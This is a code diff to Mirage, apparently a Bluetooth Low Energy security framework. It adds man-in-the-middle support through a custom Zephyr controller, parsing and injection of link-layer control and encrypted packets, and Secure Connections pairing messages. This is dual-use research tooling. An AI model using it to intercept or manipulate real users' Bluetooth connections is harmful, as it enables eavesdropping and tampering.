diff --git a/mirage/libs/ble.py b/mirage/libs/ble.py index 1355972..622e617 100644 --- a/mirage/libs/ble.py +++ b/mirage/libs/ble.py @@ -18,6 +18,7 @@ from mirage.libs.ble_utils.scapy_link_layers import * from mirage.libs.ble_utils.dissectors import * from mirage.libs.ble_utils.att_server import * +from mirage.libs.bt_utils.scapy_vendor_specific import * from mirage.libs import wireless,bt,io @@ -31,19 +32,19 @@ class BLEHCIDevice(bt.BtHCIDevice): +-----------------------------------+----------------+ | Capability | Available ? | +===================================+================+ - | SCANNING | yes | + | SCANNING | yes | +-----------------------------------+----------------+ - | ADVERTISING | yes | + | ADVERTISING | yes | +-----------------------------------+----------------+ - | SNIFFING_ADVERTISEMENTS | no | + | SNIFFING_ADVERTISEMENTS | no | +-----------------------------------+----------------+ - | SNIFFING_NEW_CONNECTION | no | + | SNIFFING_NEW_CONNECTION | no | +-----------------------------------+----------------+ - | SNIFFING_EXISTING_CONNECTION | no | + | SNIFFING_EXISTING_CONNECTION | no | +-----------------------------------+----------------+ - | JAMMING_CONNECTIONS | no | + | JAMMING_CONNECTIONS | no | +-----------------------------------+----------------+ - | JAMMING_ADVERTISEMENTS | no | + | JAMMING_ADVERTISEMENTS | no | +-----------------------------------+----------------+ | HIJACKING_MASTER | no | +-----------------------------------+----------------+ @@ -53,15 +54,17 @@ class BLEHCIDevice(bt.BtHCIDevice): +-----------------------------------+----------------+ | MITMING_EXISTING_CONNECTION | no | +-----------------------------------+----------------+ - | INITIATING_CONNECTION | yes | + | HIJACKING_CONNECTIONS | no | +-----------------------------------+----------------+ - | RECEIVING_CONNECTION | yes | + | INITIATING_CONNECTION | yes | +-----------------------------------+----------------+ - | COMMUNICATING_AS_MASTER | yes | + | RECEIVING_CONNECTION | yes | +-----------------------------------+----------------+ - | COMMUNICATING_AS_SLAVE | yes | + | COMMUNICATING_AS_MASTER | yes | +-----------------------------------+----------------+ - | HCI_MONITORING | no | + | COMMUNICATING_AS_SLAVE | yes | + +-----------------------------------+----------------+ + | HCI_MONITORING | no | +-----------------------------------+----------------+ ''' @@ -85,7 +88,10 @@ class BLEHCIDevice(bt.BtHCIDevice): "isAddressChangeable", "encryptLink", "updateConnectionParameters", - "setChannelMap" + "setChannelMap", + "setZephyrMITMFlag", + "setBlockedCtrlPDU", + "enableMitM" ] @@ -98,6 +104,7 @@ def _setCurrentHandle(self,handle,address="",mode="public"): if not found: self.handles.append({"address":address.upper() if address is not None else "", "handle":handle, "mode":mode}) self.currentHandle = handle + self._setOperationMode(BLEOperationMode.NORMAL) def getCurrentConnectionMode(self): ''' @@ -125,15 +132,49 @@ def getCurrentConnectionMode(self): def _initBLE(self): self.operationMode = BLEOperationMode.NORMAL self._enterCommandMode() + response = self._internalCommand(HCI_Cmd_Read_Local_Version_Information()) + manufacturer = response.manufacturer self._internalCommand(HCI_Cmd_Reset()) - self._internalCommand(HCI_Cmd_Set_Event_Filter()) - self._internalCommand(HCI_Cmd_Connect_Accept_Timeout()) + # Not supported by nRF Zephyr controller + if manufacturer!=1521: + self._internalCommand(HCI_Cmd_Set_Event_Filter()) + self._internalCommand(HCI_Cmd_Connect_Accept_Timeout()) self._internalCommand(HCI_Cmd_Set_Event_Mask()) - self._internalCommand(HCI_Cmd_LE_Host_Supported()) + # Not supported by nRF Zephyr controller + if manufacturer!=1521: + self._internalCommand(HCI_Cmd_LE_Host_Supported()) self._exitCommandMode() self.capabilities = ["SCANNING", "ADVERTISING", "INITIATING_CONNECTION", "RECEIVING_CONNECTION", "COMMUNICATING_AS_MASTER", "COMMUNICATING_AS_SLAVE"] + + def setZephyrMITMFlag(self, flag=0x1): + self._enterCommandMode() + response = self._internalCommand(HCI_Cmd_Read_Local_Version_Information()) + manufacturer = response.manufacturer + # Only use for nRF Zephyr controller + if manufacturer==1521: + response = self._internalCommand(HCI_Cmd_ZEPHYR_Set_MITM_Flag(mitm_flag=flag)) + else: + io.warning("MitM mode can only be used with nRF Zephyr controller!") + self._exitCommandMode() + return response + + def setBlockedCtrlPDU(self, blocked_ctrl_pdu): + self._enterCommandMode() + response = self._internalCommand(HCI_Cmd_Read_Local_Version_Information()) + manufacturer = response.manufacturer + # Only use for nRF Zephyr controller + if manufacturer==1521: + response = self._internalCommand(HCI_Cmd_ZEPHYR_Set_Blocked_Ctrl_PDU(blocked_ctrl_pdu=blocked_ctrl_pdu)) + else: + io.warning("Blocked PDUs can only be used with nRF Zephyr controller!") + self._exitCommandMode() + return response + + def enableMitM(self, flag): + super().enableMitM(flag) + def _setOperationMode(self,value): self.operationMode = value def _getOperationMode(self): @@ -206,10 +247,11 @@ def setAddress(self,address,random=False): ''' if random: self.addressMode = "random" + self.randomAddress = address self._enterCommandMode() io.info("Changing HCI Device ("+str(self.interface)+") Random Address to : "+address) self._internalCommand(HCI_Cmd_LE_Set_Random_Address(address=address)) - io.success("BD Address successfully modified !") + io.info("BD Address successfully modified !") self._exitCommandMode() return True else: @@ -435,11 +477,31 @@ def getAddressMode(self): ''' return self.addressMode + def getAddress(self): + ''' + This method returns the address currently in use. + + :return: address + :rtype: str + + :Example: + + >>> device.getAddressMode() + '00:11:22:33:44:55:66' + + .. note:: + + This method is a **shared method** and can be called from the corresponding Emitters / Receivers. + + ''' + return self.randomAddress if self.addressMode == "random" else super().getAddress() + def init(self): self.initializeBluetooth = False super().init() if self.ready: self.addressMode = "public" + self.randomAddress = "00:00:00:00:00:00" self._initBLE() @@ -547,9 +609,93 @@ def convert(self,packet): packet.packet /= HCI_Command_Hdr()/HCI_Cmd_LE_Create_Connection( paddr=packet.dstAddr, patype=packet.type, - atype=packet.initiatorType) + atype=packet.initiatorType, + window=96, + min_interval=24, + max_interval=40,) elif isinstance(packet,BLEConnectionCancel): packet.packet /= HCI_Command_Hdr()/HCI_Cmd_LE_Create_Connection_Cancel() + elif isinstance(packet, BLEStartEncryption): + packet.packet /= HCI_Command_Hdr()/HCI_Cmd_LE_Start_Encryption_Request( + handle=self.device.getCurrentHandle(), + rand=packet.rand, + ediv=packet.ediv, + ltk=packet.ltk + ) + # Do not forward a packet already send, 1 == transmitted + elif isinstance(packet, BLELLPacket) and packet.direction == 1: + return None + elif isinstance(packet, BLELLPacket): + packetOpcode = -1 + if isinstance(packet, BLELLConnUpdateInd): + packetOpcode = 0x00 + elif isinstance(packet, BLELLChanMapInd): + packetOpcode = 0x01 + elif isinstance(packet, BLELLTerminateInd): + packetOpcode = 0x02 + elif isinstance(packet, BLELLEncReq): + packetOpcode = 0x03 + elif isinstance(packet, BLELLEncRsp): + packetOpcode = 0x04 + elif isinstance(packet, BLELLStartEncReq): + packetOpcode = 0x05 + elif isinstance(packet, BLELLStartEncRsp): + packetOpcode = 0x06 + elif isinstance(packet, BLELLUnknownRsp): + packetOpcode = 0x07 + elif isinstance(packet, BLELLFeatureReq): + packetOpcode = 0x08 + elif isinstance(packet, BLELLFeatureRsp): + packetOpcode = 0x09 + elif isinstance(packet, BLELLPauseEncReq): + packetOpcode = 0x0A + elif isinstance(packet, BLELLPauseEncRsp): + packetOpcode = 0x0B + elif isinstance(packet, BLELLVersionInd): + packetOpcode = 0x0C + elif isinstance(packet, BLELLRejectInd): + packetOpcode = 0x0D + elif isinstance(packet, BLELLSlaveFeatureReq): + packetOpcode = 0x0F + elif isinstance(packet, BLELLConnParamReq): + packetOpcode = 0x10 + elif isinstance(packet, BLELLRejectExtInd): + packetOpcode = 0x11 + elif isinstance(packet, BLELLPingReq): + packetOpcode = 0x12 + elif isinstance(packet, BLELLPingRsp): + packetOpcode = 0x13 + elif isinstance(packet, BLELLDataLenReq): + packetOpcode = 0x14 + elif isinstance(packet, BLELLDataLenRsp): + packetOpcode = 0x15 + elif isinstance(packet, BLELLPHYReq): + packetOpcode = 0x16 + elif isinstance(packet, BLELLPHYReq): + packetOpcode = 0x17 + elif isinstance(packet, BLELLUpdPHYInd): + packetOpcode = 0x18 + elif isinstance(packet, BLELLMinUsedChann): + packetOpcode = 0x19 + elif isinstance(packet, BLELLEncCtrl): + # Encrypted, set to FF + packetOpcode = 0xFF + + if packetOpcode != -1: + opcode = (0x13) | ((0x3F) << 10) + packet.packet /= HCI_Command_Hdr() / Raw( + bytes([packetOpcode]) + bytes([packet.getPayloadLength()]) + packet.getPayload() + ) + packet.packet[HCI_Command_Hdr].opcode = opcode + packet.packet[HCI_Command_Hdr].len = 29 + else: + return None + # Handle encrypted Data PDUs + elif isinstance(packet, BLELLEncData): + packet.packet /= HCI_ACL_Hdr() / Raw(packet.payload) + packet.packet[HCI_ACL_Hdr].len = packet.length + packet.packet[HCI_ACL_Hdr].PB = 0x0 + return packet.packet else: handle = (packet.connectionHandle if packet.connectionHandle != -1 else self.device.getCurrentHandle()) @@ -668,7 +814,7 @@ def convert(self,packet): if ( isinstance(packet,BLEConnectionParameterUpdateRequest) or - isinstance(packet,BLEConnectionParameterUpdateResponse) + isinstance(packet,BLEConnectionParameterUpdateResponse) ): packet.packet /= L2CAP_Hdr()/L2CAP_CmdHdr(id=packet.l2capCmdId) elif ( @@ -678,6 +824,8 @@ def convert(self,packet): isinstance(packet,BLEPairingFailed) or isinstance(packet,BLEPairingConfirm) or isinstance(packet,BLEPairingRandom) or + isinstance(packet,BLEPublicKey) or + isinstance(packet,BLEDHKeyCheck) or isinstance(packet,BLEEncryptionInformation) or isinstance(packet,BLEMasterIdentification) or isinstance(packet,BLEIdentityInformation) or @@ -702,6 +850,7 @@ def convert(self,packet): elif isinstance(packet,BLESecurityRequest): packet.packet /= SM_Security_Request(authentication=packet.authentication) + packet.packet[SM_Hdr].sm_command = 0x0B elif isinstance(packet,BLEPairingRequest): packet.packet /= SM_Pairing_Request( @@ -711,6 +860,7 @@ def convert(self,packet): max_key_size = packet.maxKeySize, initiator_key_distribution=packet.initiatorKeyDistribution, responder_key_distribution = packet.responderKeyDistribution) + packet.packet[SM_Hdr].sm_command = 0x01 elif isinstance(packet,BLEPairingResponse): @@ -721,33 +871,54 @@ def convert(self,packet): max_key_size = packet.maxKeySize, initiator_key_distribution=packet.initiatorKeyDistribution, responder_key_distribution = packet.responderKeyDistribution) + packet.packet[SM_Hdr].sm_command = 0x02 elif isinstance(packet,BLEPairingFailed): packet.packet /= SM_Failed(reason=packet.reason) + packet.packet[SM_Hdr].sm_command = 0x05 elif isinstance(packet,BLEPairingConfirm): packet.packet /= SM_Confirm(confirm=packet.confirm) - + packet.packet[SM_Hdr].sm_command = 0x03 + # Keypress notification not implemented + elif isinstance(packet, BLEPublicKey): + packet.packet /= SM_Public_Key( + key_x=packet.key_x, + key_y=packet.key_y, + ) + packet.packet[SM_Hdr].sm_command = 0xC + elif isinstance(packet, BLEDHKeyCheck): + packet.packet /= SM_DHKey_Check( + dhkey_check=packet.dhkey_check, + ) + packet.packet[SM_Hdr].sm_command = 0xD elif isinstance(packet,BLEPairingRandom): packet.packet /= SM_Random(random=packet.random) + packet.packet[SM_Hdr].sm_command = 0x04 elif isinstance(packet,BLEEncryptionInformation): packet.packet /= SM_Encryption_Information(ltk=packet.ltk) + packet.packet[SM_Hdr].sm_command = 0x06 elif isinstance(packet,BLEMasterIdentification): packet.packet /= SM_Master_Identification(ediv=packet.ediv, rand=packet.rand) + packet.packet[SM_Hdr].sm_command = 0x07 elif isinstance(packet,BLEIdentityInformation): packet.packet /= SM_Identity_Information(irk=packet.irk) + packet.packet[SM_Hdr].sm_command = 0x08 elif isinstance(packet,BLEIdentityAddressInformation): packet.packet /= SM_Identity_Address_Information( atype=0 if packet.type=="public" else 1, address=packet.address ) + packet.packet[SM_Hdr].sm_command = 0x09 + elif isinstance(packet,BLESigningInformation): packet.packet /= SM_Signing_Information(csrk=packet.csrk) + packet.packet[SM_Hdr].sm_command = 0x0A elif isinstance(packet, BLEFindByTypeValueRequest): packet.packet /= ATT_Find_By_Type_Value_Request(start=packet.startHandle, @@ -849,6 +1020,8 @@ class BLEReceiver(wireless.Receiver): def __init__(self,interface="hci0"): deviceClass = None self.encrypted = False + self.recvTransmittedLLPackets = False + self.backupCallbacks = [] if "hcidump" in interface: deviceClass = BLEHcidumpDevice elif "hci" in interface: @@ -873,12 +1046,13 @@ def __init__(self,interface="hci0"): elif interface[-5:] == ".pcap": deviceClass = BLEPCAPDevice self.cryptoInstance = BLELinkLayerCrypto.getInstance() + super().__init__(interface=interface, packetType=BLEPacket, deviceType=deviceClass) - # Fragment related - self.fragmentBuffer = b"" - self.fragmentTotalSize = 0 + def storeCallbacks(self): + self.backupCallbacks = self.callbacks - super().__init__(interface=interface, packetType=BLEPacket, deviceType=deviceClass) + def restoreCallbacks(self): + self.callbacks = self.backupCallbacks def stop(self): self.encrypted = False @@ -886,6 +1060,12 @@ def stop(self): if self.isDeviceUp() and "hci" in self.interface and not "hcidump" in self.interface: self.device._exitListening() + def enableEnc(self, enable): + self.encrypted = enable + + def enableRecvOfTransmittedLLPackets(self, enable): + self.recvTransmittedLLPackets = enable + def convert(self,packet): if "hackrf" in self.interface: packet, iqSamples = packet @@ -897,32 +1077,14 @@ def convert(self,packet): new = BLEPacket() new.packet = packet if "hci" in self.interface or "adb" in self.interface: - #packet.show() - - # Here, we have a start of fragmented HCI packet (L2CAP length > HCI length) - if packet.type == TYPE_ACL_DATA and packet.PB == 2 and L2CAP_Hdr in packet and packet[L2CAP_Hdr].len > packet[HCI_ACL_Hdr].len: - # store it in the buffer - self.fragmentBuffer = raw(packet) - self.fragmentTotalSize = packet[L2CAP_Hdr].len - # don't return it now, it's not ready - return None - - # Here, we have the next fragment (PB = 1) - if packet.type == TYPE_ACL_DATA and packet.PB == 1 and L2CAP_Hdr in packet and len(self.fragmentBuffer) > 0: - # We create the scapy packet before the last fragment - previousPacket = HCI_Hdr(self.fragmentBuffer) - # We concatenate it to the previous fragments - self.fragmentBuffer += raw(packet[L2CAP_Hdr:]) - # If we have received all fragments - if len(raw(previousPacket[L2CAP_Hdr:][1:])) + len(raw(packet[L2CAP_Hdr:])) == self.fragmentTotalSize: - # We create the full packet and the execution flow continues to dissect it - packet = HCI_Hdr(self.fragmentBuffer) - new.packet = packet - else: - # don't return it now, it's not ready - return None - if packet.type == TYPE_ACL_DATA: + if self.encrypted and HCI_ACL_Hdr in packet: + hciACLHdrPayload = raw(packet[HCI_ACL_Hdr].payload) + return BLELLEncData( + length=packet[HCI_ACL_Hdr].len, + payload=hciACLHdrPayload, + PB=packet[HCI_ACL_Hdr].PB, + ) if ATT_Exchange_MTU_Request in packet: return BLEExchangeMTURequest( mtu = packet[ATT_Exchange_MTU_Request].mtu, @@ -1078,7 +1240,16 @@ def convert(self,packet): return BLEEncryptionInformation( connectionHandle = packet.handle, ltk=packet.ltk) - + elif SM_Public_Key in packet: + return BLEPublicKey( + connectionHandle = packet.handle, + key_x=packet.key_x, + key_y=packet.key_y, + ) + elif SM_DHKey_Check in packet: + return BLEDHKeyCheck( + connectionHandle = packet.handle, + dhkey_check=packet.dhkey_check) elif SM_Master_Identification in packet: return BLEMasterIdentification( connectionHandle = packet.handle, @@ -1171,7 +1342,6 @@ def convert(self,packet): newHandle = packet[HCI_LE_Meta_Enhanced_Connection_Complete].handle newAddress = str(packet[HCI_LE_Meta_Enhanced_Connection_Complete].paddr) self.device._setCurrentHandle(newHandle,address=newAddress,mode="public" if packet.patype == 0 else "random") - io.info('Updating connection handle : '+str(newHandle)) return BLEConnectResponse( srcAddr = packet.paddr, @@ -1185,7 +1355,6 @@ def convert(self,packet): newHandle = packet[HCI_LE_Meta_Connection_Complete].handle newAddress = str(packet[HCI_LE_Meta_Connection_Complete].paddr) self.device._setCurrentHandle(newHandle,address=newAddress,mode="public" if packet.patype == 0 else "random") - io.info('Updating connection handle : '+str(newHandle)) return BLEConnectResponse( srcAddr = packet.paddr, @@ -1210,11 +1379,209 @@ def convert(self,packet): rand=packet.rand, ediv=packet.ediv ) - + elif HCI_Event_Encryption_Change in packet: + return BLEEncryptionChange( + connectionHandle=packet.handle, + status=packet.status, + enabled=packet.enabled + ) elif packet.code == HCI_DISCONNECTION_COMPLETE: handle = packet.handle self.device._removeConnectionHandle(handle) return BLEDisconnect(connectionHandle=handle) + + # Handle custom HCI command from custom Zephyr controller + elif packet.code == 0xFF: + ll_raw_packet = packet.load + opcode = ll_raw_packet[0] + direction = ll_raw_packet[1] + payloadLen = ll_raw_packet[2] + sn = ll_raw_packet[3] + nesn = ll_raw_packet[4] + payload = ll_raw_packet[5:] + # direction = 1 => transmitted Ctrl PDU + # direction = 2 => received Ctrl PDU + + # Transmitted data packet, ignore for the moment + if direction == 1 and not self.recvTransmittedLLPackets: + return None + if self.encrypted: + return BLELLEncCtrl( + encOpcode=opcode, + sn=sn, + nesn=nesn, + encData=payload[:payloadLen], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_CONN_UPDATE_IND: + return BLELLConnUpdateInd( + win_size=payload[0], + win_offset=payload[1:3], + interval=payload[3:5], + latency=payload[5:7], + timeout=payload[7:9], + instant=payload[9:11], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_CHAN_MAP_IND: + return BLELLChanMapInd( + chm=payload[:5], + instant=payload[5:7], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_TERMINATE_IND: + return BLELLTerminateInd( + error_code=payload[0], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_ENC_REQ: + return BLELLEncReq( + rand=payload[:8], + ediv=payload[8:10], + skdm=payload[10:18], + ivm=payload[18:22], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_ENC_RSP: + return BLELLEncRsp( + skds=payload[:8], + ivs=payload[8:12], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_START_ENC_REQ: + return BLELLStartEncReq( + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_START_ENC_RSP: + return BLELLStartEncRsp( + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_UNKNOWN_RSP: + return BLELLUnknownRsp( + type=payload[0], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_FEATURE_REQ: + return BLELLFeatureReq( + features=payload[0:8], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_FEATURE_RSP: + return BLELLFeatureRsp( + features=payload[0:8], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_PAUSE_ENC_REQ: + return BLELLPauseEncReq( + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_PAUSE_ENC_RSP: + return BLELLPauseEncRsp( + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_VERSION_IND: + return BLELLVersionInd( + version_number=payload[0], + company_id=payload[1:3], + sub_version_number=payload[3:4], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_REJECT_IND: + return BLELLRejectInd( + error_code=payload[0], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_SLAVE_FEATURE_REQ: + return BLELLSlaveFeatureReq( + features=payload[0:8], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_CONN_PARAM_REQ: + return BLELLConnParamReq( + interval_min=payload[0:2], + interval_max=payload[2:4], + latency=payload[4:6], + timeout=payload[6:8], + preferred_periodicity=payload[8], + reference_conn_event_count=payload[9:11], + offset0=payload[11:13], + offset1=payload[13:15], + offset2=payload[15:17], + offset3=payload[17:19], + offset4=payload[19:21], + offset5=payload[21:23], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_CONN_PARAM_RSP: + return BLELLConnParamRsp( + interval_min=payload[0:2], + interval_max=payload[2:4], + latency=payload[4:6], + timeout=payload[6:8], + preferred_periodicity=payload[8], + reference_conn_event_count=payload[9:10], + offset0=payload[11:13], + offset1=payload[13:15], + offset2=payload[15:17], + offset3=payload[17:19], + offset4=payload[19:21], + offset5=payload[21:23], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_REJECT_EXT_IND: + return BLELLRejectExtInd( + opcode=payload[0], + error_code=payload[1], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_PING_REQ: + return BLELLPingReq( + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_PING_RSP: + return BLELLPingRsp( + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_LENGTH_REQ: + return BLELLDataLenReq( + max_rx_octets=payload[0:2], + max_rx_time=payload[2:4], + max_tx_octets=payload[4:6], + max_tx_time=payload[6:8], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_LENGTH_RSP: + return BLELLDataLenRsp( + max_rx_octets=payload[0:2], + max_rx_time=payload[2:4], + max_tx_octets=payload[4:6], + max_tx_time=payload[6:8], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_PHY_REQ: + return BLELLPHYReq( + tx_phys=payload[0], + rx_phys=payload[1], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_PHY_RSP: + return BLELLPHYReq( + tx_phys=payload[0], + rx_phys=payload[1], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_PHY_UPD_IND: + return BLELLUpdPHYInd( + m_to_s_phy=payload[0], + s_to_m_phy=payload[1], + direction=1 if direction == 1 else 0, + ) + elif opcode == LLCTRL_TYPE_MIN_USED_CHAN_IND: + return BLELLMinUsedChann( + phys=payload[0], + min_used_chans=payload[1], + direction=1 if direction == 1 else 0, + ) else: return None elif ( "hackrf" in self.interface or @@ -1330,10 +1697,6 @@ def convert(self,packet): new = BLEReadResponse( value = packet[ATT_Read_Response].value ) - elif ATT_Hdr in packet and packet[ATT_Hdr].opcode == 0xb: - new = BLEReadResponse( - value = b"" - ) elif ATT_Read_Request in packet: new = BLEReadRequest( handle = packet[ATT_Read_Request].gatt_handle diff --git a/mirage/libs/ble_utils/constants.py b/mirage/libs/ble_utils/constants.py index e3d64d6..2e2dd36 100644 --- a/mirage/libs/ble_utils/constants.py +++ b/mirage/libs/ble_utils/constants.py @@ -98,3 +98,103 @@ class BLESniffingMode: ADVERTISEMENT = 0x0 NEW_CONNECTION = 0x1 EXISTING_CONNECTION = 0x2 + + +# Control PDU opcodes supported by Zephyr RTOS +LLCTRL_TYPE_CONN_UPDATE_IND = 0x00 +LLCTRL_TYPE_CHAN_MAP_IND = 0x01 +LLCTRL_TYPE_TERMINATE_IND = 0x02 +LLCTRL_TYPE_ENC_REQ = 0x03 +LLCTRL_TYPE_ENC_RSP = 0x04 +LLCTRL_TYPE_START_ENC_REQ = 0x05 +LLCTRL_TYPE_START_ENC_RSP = 0x06 +LLCTRL_TYPE_UNKNOWN_RSP = 0x07 +LLCTRL_TYPE_FEATURE_REQ = 0x08 +LLCTRL_TYPE_FEATURE_RSP = 0x09 +LLCTRL_TYPE_PAUSE_ENC_REQ = 0x0A +LLCTRL_TYPE_PAUSE_ENC_RSP = 0x0B +LLCTRL_TYPE_VERSION_IND = 0x0C +LLCTRL_TYPE_REJECT_IND = 0x0D +LLCTRL_TYPE_SLAVE_FEATURE_REQ = 0x0E +LLCTRL_TYPE_CONN_PARAM_REQ = 0x0F +LLCTRL_TYPE_CONN_PARAM_RSP = 0x10 +LLCTRL_TYPE_REJECT_EXT_IND = 0x11 +LLCTRL_TYPE_PING_REQ = 0x12 +LLCTRL_TYPE_PING_RSP = 0x13 +LLCTRL_TYPE_LENGTH_REQ = 0x14 +LLCTRL_TYPE_LENGTH_RSP = 0x15 +LLCTRL_TYPE_PHY_REQ = 0x16 +LLCTRL_TYPE_PHY_RSP = 0x17 +LLCTRL_TYPE_PHY_UPD_IND = 0x18 +LLCTRL_TYPE_MIN_USED_CHAN_IND = 0x19 + + +# LL Controller Error Codes +LL_ERROR_CODES = { + 0x01: "UNKNOWN HCI COMMAND", + 0x02: "UNKNOWN CONNECTION IDENTIFIER", + 0x03: "HARDWARE FAILURE", + 0x04: "PAGE TIMEOUT", + 0x05: "AUTHENTICATION FAILURE", + 0x06: "PIN OR KEY MISSING", + 0x07: "MEMORY CAPACITY EXCEEDED", + 0x08: "CONNECTION TIMEOUT", + 0x09: "CONNECTION LIMIT EXCEEDED", + 0x0A: "SYNCHRONOUS CONNECTION LIMIT TO A DEVICE EXCEEDED", + 0x0B: "CONNECTION ALREADY EXISTS", + 0x0C: "COMMAND DISALLOWED", + 0x0D: "CONNECTION REJECTED DUE TO LIMITED RESOURCES", + 0x0E: "CONNECTION REJECTED DUE TO SECURITY REASONS", + 0x0F: "CONNECTION REJECTED DUE TO UNACCEPTABLE BD_ADDR", + 0x10: "CONNECTION ACCEPT TIMEOUT EXCEEDED", + 0x11: "UNSUPPORTED FEATURE OR PARAMETER VALUE", + 0x12: "INVALID HCI COMMAND PARAMETERS", + 0x13: "REMOTE USER TERMINATED CONNECTION", + 0x14: "REMOTE DEVICE TERMINATED CONNECTION DUE TO LOW RESOURCES", + 0x15: "REMOTE DEVICE TERMINATED CONNECTION DUE TO POWER OFF", + 0x16: "CONNECTION TERMINATED BY LOCAL HOST", + 0x17: "REPEATED ATTEMPTS", + 0x18: "PAIRING NOT ALLOWED", + 0x19: "UNKNOWN LMP PDU", + 0x1A: "UNSUPPORTED REMOTE FEATURE / UNSUPPORTED LMP FEATURE", + 0x1B: "SCO OFFSET REJECTED", + 0x1C: "SCO INTERVAL REJECTED", + 0x1D: "SCO AIR MODE REJECTED", + 0x1E: "INVALID LMP PARAMETERS / INVALID LL PARAMETERS", + 0x1F: "UNSPECIFIED ERROR", + 0x20: "UNSUPPORTED LMP PARAMETER VALUE / UNSUPPORTED LL PARAMETER VALUE", + 0x21: "ROLE CHANGE NOT ALLOWED", + 0x22: "LMP RESPONSE TIMEOUT / LL RESPONSE TIMEOUT", + 0x23: "LMP ERROR TRANSACTION COLLISION / LL PROCEDURE COLLISION", + 0x24: "LMP PDU NOT ALLOWED", + 0x25: "ENCRYPTION MODE NOT ACCEPTABLE", + 0x26: "LINK KEY CANNOT BE CHANGED", + 0x27: "REQUESTED QoS NOT SUPPORTED", + 0x28: "INSTANT PASSED", + 0x29: "PAIRING WITH UNIT KEY NOT SUPPORTED", + 0x2A: "DIFFERENT TRANSACTION COLLISION", + 0x2C: "QoS UNACCEPTABLE PARAMETER", + 0x2D: "QoS REJECTED", + 0x2E: "CHANNEL ASSESSMENT NOT SUPPORTED", + 0x2F: "INSUFFICIENT SECURITY", + 0x30: "PARAMETER OUT OF MANDATORY RANGE", + 0x32: "ROLE SWITCH PENDING", + 0x34: "RESERVED SLOT VIOLATION", + 0x35: "ROLE SWITCH FAILED", + 0x36: "EXTENDED INQUIRY RESPONSE TOO LARGE", + 0x37: "SIMPLE PAIRING NOT SUPPORTED BY HOST", + 0x38: "HOST BUSY–PAIRING", + 0x39: "CONNECTION REJECTED DUE TO NO SUITABLE CHANNEL FOUND", + 0x3A: "CONTROLLER BUSY", + 0x3B: "UNACCEPTABLE CONNECTION PARAMETERS", + 0x3C: "ADVERTISING TIMEOUT", + 0x3D: "CONNECTION TERMINATED DUE TO MIC FAILURE", + 0x3E: "CONNECTION FAILED TO BE ESTABLISHED / SYNCHRONIZATION TIMEOUT", + 0x3F: "MAC CONNECTION FAILED", + 0x40: "COARSE CLOCK ADJUSTMENT REJECTED BUT WILL TRY TO ADJUST USING CLOCK DRAGGING", + 0x41: "TYPE0 SUBMAP NOT DEFINED", + 0x42: "UNKNOWN ADVERTISING IDENTIFIER", + 0x43: "LIMIT REACHED", + 0x44: "OPERATION CANCELLED BY HOST", + 0x45: "PACKET TOO LONG", +} \ No newline at end of file diff --git a/mirage/libs/ble_utils/dissectors.py b/mirage/libs/ble_utils/dissectors.py index 4852f64..3eda340 100644 --- a/mirage/libs/ble_utils/dissectors.py +++ b/mirage/libs/ble_utils/dissectors.py @@ -448,7 +448,7 @@ def build(self): gui = self.content["gui"] shift = self.content["shift"] (hidCode,modifiers) = HIDMapping(locale).getHIDCodeFromKey(key=key,alt=alt,ctrl=ctrl,shift=shift,gui=gui) - self.data = bytes([0,modifiers,hidCode,0,0,0,0,0]) + self.data = bytes([modifiers,hidCode,0,0,0,0,0,0,0,0,0]) def __str__(self): sortie = "key="+str(self.content["key"])+",ctrl="+("yes" if self.content["ctrl"] else "no")+",alt="+("yes" if self.content["alt"] else "no")+",shift="+("yes" if self.content["shift"] else "no")+",gui="+("yes" if self.content["gui"] else "no") diff --git a/mirage/libs/ble_utils/packets.py b/mirage/libs/ble_utils/packets.py old mode 100644 new mode 100755 index 500c05a..b847081 --- a/mirage/libs/ble_utils/packets.py +++ b/mirage/libs/ble_utils/packets.py @@ -162,7 +162,7 @@ def __init__(self,dstAddr="00:00:00:00:00:00", srcAddr="00:00:00:00:00:00", type self.name = "BLE - Connect Packet" def toString(self): - return "<< "+self.name+" | srcAddr="+self.srcAddr+" | dstAddr="+self.dstAddr+" | type="+self.type+" | initiatorType="+self.initiatorType+" >>" + return "<< "+self.name+" | srcAddr="+self.srcAddr+" | dstAddr="+self.dstAddr+" | type="+self.type+" | initiatorType="+self.initiatorType+" >>" class BLEConnectResponse(BLEPacket): ''' @@ -193,7 +193,7 @@ def __init__(self,dstAddr="00:00:00:00:00:00", srcAddr="00:00:00:00:00:00", type self.name = "BLE - Connect Response Packet" def toString(self): - return "<< "+self.name+" | srcAddr="+self.srcAddr+" | dstAddr="+self.dstAddr+" | type="+self.type+" | role="+self.role+" | success="+("OK" if self.success else "NOK")+" >>" + return "<< "+self.name+" | srcAddr="+self.srcAddr+" | dstAddr="+self.dstAddr+" | type="+self.type+" | role="+self.role+" | success="+("OK" if self.success else "NOK")+" >>" class 